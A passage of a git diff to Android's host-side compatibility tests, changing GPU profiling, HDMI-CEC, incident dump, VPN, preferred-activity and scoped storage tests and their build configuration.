 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.CommandResult;
@@ -46,11 +47,16 @@
     // Positive tests
     // - Ensure the perfetto producers for render stages, counters, and ftrace gpu frequency are available
 
-    private static final String BIN_NAME = "ctsgraphicsgpuprofilinginit";
+    private static final String BIN_NAME = "ctsgraphicsgpucountersinit";
     private static final String DEVICE_BIN_PATH = "/data/local/tmp/" + BIN_NAME;
+    private static final String APP = "android.graphics.gpuprofiling.app";
+    private static final String APK = "CtsGraphicsProfilingDataApp.apk";
+    private static final String ACTIVITY = "GpuRenderStagesDeviceActivity";
     private static final String COUNTERS_SOURCE_NAME = "gpu.counters";
     private static final String STAGES_SOURCE_NAME = "gpu.renderstages";
-    private static final String PROFILING_PROPERTY = "ro.hardware.gpu.profiler.support";
+    private static final String PROFILING_PROPERTY = "graphics.gpu.profiler.support";
+    private static final String LAYER_PACKAGE_PROPERTY = "graphics.gpu.profiler.vulkan_layer_apk";
+    private static final String LAYER_NAME = "VkRenderStagesProducer";
     private static int MAX_RETRIES = 5;
 
     private class ShellThread extends Thread {
@@ -65,28 +71,40 @@
         @Override
         public void run() {
             try {
-                CommandResult activityStatus = getDevice().executeShellV2Command(mCmd);
+                getDevice().executeShellV2Command(mCmd);
             } catch (Exception e) {
-                // TODO Do something here?
+                CLog.e("Failed to start counters producer" + e.getMessage());
             }
         }
     }
 
     /**
-     * Kill the native process after each test
+     * Kill the native process and remove the layer related settings after each test
      */
     @After
     public void cleanup() throws Exception {
-        // TODO figure out how to unregister the producers
         getDevice().executeShellV2Command("killall " + BIN_NAME);
+        getDevice().executeShellV2Command("am force-stop " + APP);
+        getDevice().executeShellV2Command("settings delete global gpu_debug_layers");
+        getDevice().executeShellV2Command("settings delete global enable_gpu_debug_layers");
+        getDevice().executeShellV2Command("settings delete global gpu_debug_app");
+        getDevice().executeShellV2Command("settings delete global gpu_debug_layer_app");
     }
 
     /**
-     * Clean up before starting any tests.
+     * Clean up before starting any tests. Apply the necessary layer settings if we need them
      */
     @Before
     public void init() throws Exception {
         cleanup();
+        String layerApp = getDevice().getProperty(LAYER_PACKAGE_PROPERTY);
+        if (layerApp != null && !layerApp.isEmpty()) {
+            getDevice().executeShellV2Command("settings put global enable_gpu_debug_layers 1");
+            getDevice().executeShellV2Command("settings put global gpu_debug_app " + APP);
+            getDevice().executeShellV2Command("settings put global gpu_debug_layer_app " + layerApp);
+            getDevice().executeShellV2Command("settings put global gpu_debug_layers " + LAYER_NAME);
+        }
+        installPackage(APK);
     }
 
     /**
@@ -100,6 +118,7 @@
             // Spin up a new thread to avoid blocking the main thread while the native process waits to be killed.
             ShellThread shellThread = new ShellThread(DEVICE_BIN_PATH);
             shellThread.start();
+            CommandResult activityStatus = getDevice().executeShellV2Command("am start -n " + APP + "/." + ACTIVITY);
             boolean countersSourceFound = false;
             boolean stagesSourceFound = false;
             for(int i = 0; i < MAX_RETRIES; i++) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 6437ec0..8d4ece1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -67,4 +67,15 @@
     private CecMessage(int messageId) {
         this.messageId = messageId;
     }
+
+    public static String formatParams(long rawParam) {
+        StringBuilder params = new StringBuilder("");
+
+        do {
+            params.insert(0, ":" + String.format("%02x", rawParam % 256));
+            rawParam >>= 8;
+        } while (rawParam > 0);
+
+        return params.toString();
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index 3ac2e5f..5162a27 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -64,6 +64,8 @@
     @Test
     public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
         ITestDevice device = getDevice();
+        hdmiCecClient.sendCecMessage(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST,
+                CecMessage.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
         device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
         String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
                 CecMessage.USER_CONTROL_PRESSED);
@@ -89,7 +91,9 @@
     @Test
     public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
         ITestDevice device = getDevice();
-        device.executeShellCommand("input keyevent KEYCODE_MUTE");
+        hdmiCecClient.sendCecMessage(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST,
+                CecMessage.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
+        device.executeShellCommand("input keyevent KEYCODE_VOLUME_MUTE");
         String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
                 CecMessage.USER_CONTROL_PRESSED);
         assertEquals(HdmiCecConstants.CEC_CONTROL_MUTE,
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index 460181d0..f7dcec1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -72,8 +72,6 @@
 
         AlarmManagerIncidentTest.verifyAlarmManagerServiceDumpProto(dump.getAlarm(), filterLevel);
 
-        MemInfoIncidentTest.verifyMemInfoDumpProto(dump.getMeminfo(), filterLevel);
-
         // GraphicsStats is expected to be all AUTOMATIC.
 
         WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
diff --git a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
deleted file mode 100644
index 2747972..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import com.android.server.am.MemInfoDumpProto;
-import com.android.server.am.MemInfoDumpProto.AppData;
-import com.android.server.am.MemInfoDumpProto.MemItem;
-import com.android.server.am.MemInfoDumpProto.ProcessMemory;
-
-/** Test to check that ActivityManager properly outputs meminfo data. */
-public class MemInfoIncidentTest extends ProtoDumpTestCase {
-
-    public void testMemInfoDump() throws Exception {
-        final MemInfoDumpProto dump =
-                getDump(MemInfoDumpProto.parser(), "dumpsys -t 30000 meminfo -a --proto");
-
-        verifyMemInfoDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyMemInfoDumpProto(MemInfoDumpProto dump, final int filterLevel) throws Exception {
-        assertTrue(dump.getUptimeDurationMs() >= 0);
-        assertTrue(dump.getElapsedRealtimeMs() >= 0);
-
-        for (ProcessMemory pm : dump.getNativeProcessesList()) {
-            testProcessMemory(pm);
-        }
-
-        for (AppData ad : dump.getAppProcessesList()) {
-            testAppData(ad);
-        }
-
-        for (MemItem mi : dump.getTotalPssByProcessList()) {
-            testMemItem(mi);
-        }
-        for (MemItem mi : dump.getTotalPssByOomAdjustmentList()) {
-            testMemItem(mi);
-        }
-        for (MemItem mi : dump.getTotalPssByCategoryList()) {
-            testMemItem(mi);
-        }
-
-        assertTrue(0 <= dump.getTotalRamKb());
-        assertTrue(0 <= dump.getCachedPssKb());
-        assertTrue(0 <= dump.getCachedKernelKb());
-        assertTrue(0 <= dump.getFreeKb());
-        assertTrue(0 <= dump.getUsedPssKb());
-        assertTrue(0 <= dump.getUsedKernelKb());
-
-        // Ideally lost RAM would not be negative, but there's an issue where it's sometimes
-        // calculated to be negative.
-        // TODO: re-enable check once the underlying bug has been fixed.
-        // assertTrue(0 <= dump.getLostRamKb());
-
-        assertTrue(0 <= dump.getTotalZramKb());
-        assertTrue(0 <= dump.getZramPhysicalUsedInSwapKb());
-        assertTrue(0 <= dump.getTotalZramSwapKb());
-
-        assertTrue(0 <= dump.getKsmSharingKb());
-        assertTrue(0 <= dump.getKsmSharedKb());
-        assertTrue(0 <= dump.getKsmUnsharedKb());
-        assertTrue(0 <= dump.getKsmVolatileKb());
-
-        assertTrue("Tuning_mb (" + dump.getTuningMb() + ") is not positive", 0 < dump.getTuningMb());
-        assertTrue(0 < dump.getTuningLargeMb());
-
-        assertTrue(0 <= dump.getOomKb());
-
-        assertTrue(0 < dump.getRestoreLimitKb());
-    }
-
-    private static void testProcessMemory(ProcessMemory pm) throws Exception {
-        assertNotNull(pm);
-
-        assertTrue(0 < pm.getPid());
-        // On most Linux machines, the max pid value is 32768 (=2^15), but, it can be set to any
-        // value up to 4194304 (=2^22) if necessary.
-        assertTrue(4194304 >= pm.getPid());
-
-        testHeapInfo(pm.getNativeHeap());
-        testHeapInfo(pm.getDalvikHeap());
-
-        for (ProcessMemory.MemoryInfo mi : pm.getOtherHeapsList()) {
-            testMemoryInfo(mi);
-        }
-        testMemoryInfo(pm.getUnknownHeap());
-        testHeapInfo(pm.getTotalHeap());
-
-        for (ProcessMemory.MemoryInfo mi : pm.getDalvikDetailsList()) {
-            testMemoryInfo(mi);
-        }
-
-        ProcessMemory.AppSummary as = pm.getAppSummary();
-        assertTrue(0 <= as.getJavaHeapPssKb());
-        assertTrue(0 <= as.getNativeHeapPssKb());
-        assertTrue(0 <= as.getCodePssKb());
-        assertTrue(0 <= as.getStackPssKb());
-        assertTrue(0 <= as.getGraphicsPssKb());
-        assertTrue(0 <= as.getPrivateOtherPssKb());
-        assertTrue(0 <= as.getSystemPssKb());
-        assertTrue(0 <= as.getTotalSwapPss());
-        assertTrue(0 <= as.getTotalSwapKb());
-    }
-
-    private static void testMemoryInfo(ProcessMemory.MemoryInfo mi) throws Exception {
-        assertNotNull(mi);
-
-        assertTrue(0 <= mi.getTotalPssKb());
-        assertTrue(0 <= mi.getCleanPssKb());
-        assertTrue(0 <= mi.getSharedDirtyKb());
-        assertTrue(0 <= mi.getPrivateDirtyKb());
-        assertTrue(0 <= mi.getSharedCleanKb());
-        assertTrue(0 <= mi.getPrivateCleanKb());
-        assertTrue(0 <= mi.getDirtySwapKb());
-        assertTrue(0 <= mi.getDirtySwapPssKb());
-    }
-
-    private static void testHeapInfo(ProcessMemory.HeapInfo hi) throws Exception {
-        assertNotNull(hi);
-
-        testMemoryInfo(hi.getMemInfo());
-        assertTrue(0 <= hi.getHeapSizeKb());
-        assertTrue(0 <= hi.getHeapAllocKb());
-        assertTrue(0 <= hi.getHeapFreeKb());
-    }
-
-    private static void testAppData(AppData ad) throws Exception {
-        assertNotNull(ad);
-
-        testProcessMemory(ad.getProcessMemory());
-
-        AppData.ObjectStats os = ad.getObjects();
-        assertTrue(0 <= os.getViewInstanceCount());
-        assertTrue(0 <= os.getViewRootInstanceCount());
-        assertTrue(0 <= os.getAppContextInstanceCount());
-        assertTrue(0 <= os.getActivityInstanceCount());
-        assertTrue(0 <= os.getGlobalAssetCount());
-        assertTrue(0 <= os.getGlobalAssetManagerCount());
-        assertTrue(0 <= os.getLocalBinderObjectCount());
-        assertTrue(0 <= os.getProxyBinderObjectCount());
-        assertTrue(0 <= os.getParcelMemoryKb());
-        assertTrue(0 <= os.getParcelCount());
-        assertTrue(0 <= os.getBinderObjectDeathCount());
-        assertTrue(0 <= os.getOpenSslSocketCount());
-        assertTrue(0 <= os.getWebviewInstanceCount());
-
-        AppData.SqlStats ss = ad.getSql();
-        assertTrue(0 <= ss.getMemoryUsedKb());
-        assertTrue(0 <= ss.getPagecacheOverflowKb());
-        assertTrue(0 <= ss.getMallocSizeKb());
-        for (AppData.SqlStats.Database d : ss.getDatabasesList()) {
-            assertTrue(0 <= d.getPageSize());
-            assertTrue(0 <= d.getDbSize());
-            assertTrue(0 <= d.getLookasideB());
-        }
-    }
-
-    private static void testMemItem(MemItem mi) throws Exception {
-        assertNotNull(mi);
-
-        assertTrue(0 <= mi.getPssKb());
-        assertTrue(0 <= mi.getSwapPssKb());
-
-        for (MemItem smi : mi.getSubItemsList()) {
-            testMemItem(smi);
-        }
-    }
-}
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 483011e..85a8be1 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -33,6 +33,10 @@
     export_package_resources: true,
     aapt_include_all_resources: true,
     manifest: "AndroidManifestV1.xml",
+
+    // This flag allow the native lib to be compressed in the apk or associated split apk, and
+    // needs to be extracted by the installer instead of calling directly into the apk.
+    use_embedded_native_libs: false,
 }
 
 // v2 implementation of test app built with v1 manifest for zero version update test.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 7738e31..d508a1d 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -62,7 +62,7 @@
 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceDeviceTest {
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(7);
 
     /** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
     @Test
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
index f3cd8a9..aa59959 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
@@ -83,6 +83,7 @@
     }
 
     private class TestNetworkCallback extends INetworkCallback.Stub {
+        private static final int TEST_CONNECT_TIMEOUT_MS = 30_000;
         private static final int TEST_CALLBACK_TIMEOUT_MS = 5_000;
 
         private final LinkedBlockingQueue<CallbackInfo> mCallbacks = new LinkedBlockingQueue<>();
@@ -131,7 +132,7 @@
         }
 
         public Network expectAvailableCallbackAndGetNetwork() {
-            final CallbackInfo cb = nextCallback(TEST_CALLBACK_TIMEOUT_MS);
+            final CallbackInfo cb = nextCallback(TEST_CONNECT_TIMEOUT_MS);
             if (cb.state != CallbackState.AVAILABLE) {
                 fail("Network is not available. Instead obtained the following callback :"
                         + cb);
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index 26397ef..a451ea8 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -1016,7 +1016,8 @@
         final Thread[] threads = new Thread[NUM_THREADS];
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"0.0.0.0/0", "::/0"},
-                 "", "", null, null /* underlyingNetworks */, false /* isAlwaysMetered */);
+                 "" /* allowedApplications */, "com.android.shell" /* disallowedApplications */,
+                null /* proxyInfo */, null /* underlyingNetworks */, false /* isAlwaysMetered */);
 
         for (int i = 0; i < NUM_THREADS; i++) {
             threads[i] = new Thread(() -> {
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index 5ef052ef..c9e25b0 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -28,8 +28,10 @@
 
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.Intent;
+import android.content.res.Resources;
 import android.dynamicmime.testapp.BaseDynamicMimeTest;
 import android.dynamicmime.testapp.assertions.MimeGroupAssertions;
 import android.dynamicmime.testapp.commands.MimeGroupCommands;
@@ -52,10 +54,13 @@
 
 @RunWith(AndroidJUnit4.class)
 public class PreferredActivitiesTest extends BaseDynamicMimeTest {
+    private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
+    private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+
     private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
     private static final BySelector RESOLVER_DIALOG = By.res("android:id/contentPanel");
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
 
     private TestStrategy mTest;
 
@@ -66,6 +71,17 @@
     @Before
     public void setUp() {
         Utils.installApk(APK_PREFERRED_APP);
+        assumeNavigationMode();
+    }
+
+    private void assumeNavigationMode() {
+        Resources res = context().getResources();
+        int navModeResId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer",
+                "android");
+        int navMode = res.getInteger(navModeResId);
+
+        assumeTrue("Non-gesture navigation mode required",
+                navMode != NAV_BAR_INTERACTION_MODE_GESTURAL);
     }
 
     @After
@@ -281,7 +297,7 @@
 
     private void chooseUseAlways() {
         getUiDevice()
-                .findObject(BUTTON_ALWAYS)
+                .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
                 .click();
     }
 
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 3e5096b..1a1a7f9 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -15,28 +15,28 @@
 android_test_helper_app {
     name: "CtsScopedStorageTestAppA",
     manifest: "ScopedStorageTestHelper/TestAppA.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
     manifest: "ScopedStorageTestHelper/TestAppB.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
     manifest: "ScopedStorageTestHelper/TestAppC.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
     manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     target_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
@@ -46,9 +46,9 @@
     name: "ScopedStorageTest",
     manifest: "AndroidManifest.xml",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "cts-scopedstorage-lib"],
+    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts"],
+    test_suites: ["general-tests", "mts", "cts"],
     sdk_version: "test_current",
     java_resources: [
         ":CtsScopedStorageTestAppA",
@@ -61,9 +61,9 @@
     name: "LegacyStorageTest",
     manifest: "legacy/AndroidManifest.xml",
     srcs: ["legacy/src/**/*.java"],
-    static_libs: ["androidx.test.rules", "truth-prebuilt",  "cts-scopedstorage-lib"],
+    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts"],
+    test_suites: ["general-tests", "mts", "cts"],
     sdk_version: "test_current",
     target_sdk_version: "29",
     java_resources: [
@@ -74,17 +74,15 @@
 java_test_host {
     name: "CtsScopedStorageHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["tradefed"],
-    static_libs: ["testng"],
-    test_suites: ["general-tests", "mts"],
+    libs: ["tradefed", "testng"],
+    test_suites: ["general-tests", "mts", "cts"],
     test_config: "AndroidTest.xml",
 }
 
 java_test_host {
     name: "CtsScopedStoragePublicVolumeHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["tradefed"],
-    static_libs: ["testng"],
+    libs: ["tradefed", "testng"],
     test_suites: ["general-tests", "mts"],
     test_config: "PublicVolumeTest.xml",
 }
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 64599d8..43208ac 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -15,6 +15,10 @@
 -->
 <configuration description="External storage host test for legacy and scoped storage">
     <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
@@ -23,6 +27,7 @@
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageHostTest" />
+        <option name="class" value="android.scopedstorage.cts.host.ScopedStorageInstantAppHostTest" />
     </test>
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 2054907..0c8fd61 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -18,6 +18,7 @@
 import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
 import static android.scopedstorage.cts.lib.TestUtils.CAN_READ_WRITE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
@@ -27,10 +28,13 @@
 import static android.scopedstorage.cts.lib.TestUtils.QUERY_TYPE;
 import static android.scopedstorage.cts.lib.TestUtils.READDIR_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 
 import android.app.Activity;
 import android.content.Intent;
+import android.content.ContentValues;
 import android.os.Bundle;
+import android.provider.MediaStore;
 
 import androidx.annotation.Nullable;
 
@@ -78,6 +82,9 @@
                 case EXIF_METADATA_QUERY:
                     returnIntent = sendMetadata(queryType);
                     break;
+                case CREATE_IMAGE_ENTRY_QUERY:
+                    returnIntent = createImageEntry(queryType);
+                    break;
                 case "null":
                 default:
                     throw new IllegalStateException(
@@ -125,6 +132,28 @@
         }
     }
 
+    private Intent createImageEntry(String queryType) throws Exception {
+        if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
+            final String path = getIntent().getStringExtra(INTENT_EXTRA_PATH);
+            final String relativePath = path.substring(0, path.lastIndexOf('/'));
+            final String name = path.substring(path.lastIndexOf('/') + 1);
+
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
+            values.put(MediaStore.Images.Media.RELATIVE_PATH, relativePath);
+            values.put(MediaStore.Images.Media.DISPLAY_NAME, name);
+
+            getContentResolver().insert(getImageContentUri(), values);
+
+            final Intent intent = new Intent(queryType);
+            intent.putExtra(queryType, true);
+            return intent;
+        } else {
+            throw new IllegalStateException(
+                    CREATE_IMAGE_ENTRY_QUERY + ": File path not set from launcher app");
+        }
+    }
+
     private Intent accessFile(String queryType) throws IOException {
         if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
             final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH);
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 4ca2e12..8729f9b 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -20,6 +20,8 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.platform.test.annotations.AppModeFull;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -32,6 +34,7 @@
  * Runs the legacy file path access tests.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
 public class LegacyStorageHostTest extends BaseHostJUnit4Test {
     private boolean isExternalStorageSetup = false;
 
@@ -178,7 +181,22 @@
     }
 
     @Test
+    public void testCreateDoesntUpsert() throws Exception {
+        runDeviceTest("testCreateDoesntUpsert");
+    }
+
+    @Test
     public void testCaseInsensitivity() throws Exception {
         runDeviceTest("testAndroidDataObbCannotBeDeleted");
     }
+
+    @Test
+    public void testLegacyAppUpdatingOwnershipOfExistingEntry() throws Exception {
+        runDeviceTest("testLegacyAppUpdatingOwnershipOfExistingEntry");
+    }
+
+    @Test
+    public void testInsertWithUnsupportedMimeType() throws Exception {
+        runDeviceTest("testInsertWithUnsupportedMimeType");
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
index 33e3e94..dbfa9fb 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
@@ -33,7 +33,8 @@
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            runDeviceTest("setupNewPublicVolume");
+            assertTrue(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
             mIsPublicVolumeSetup = true;
         }
     }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
index 8ed0101..c9bd65f 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
@@ -33,7 +33,8 @@
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            runDeviceTest("setupNewPublicVolume");
+            assertTrue(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
             mIsPublicVolumeSetup = true;
         }
     }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 108b3e8..b47d4b8 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -18,8 +18,12 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
 import org.junit.Before;
@@ -30,6 +34,7 @@
  * Runs the ScopedStorageTest tests.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
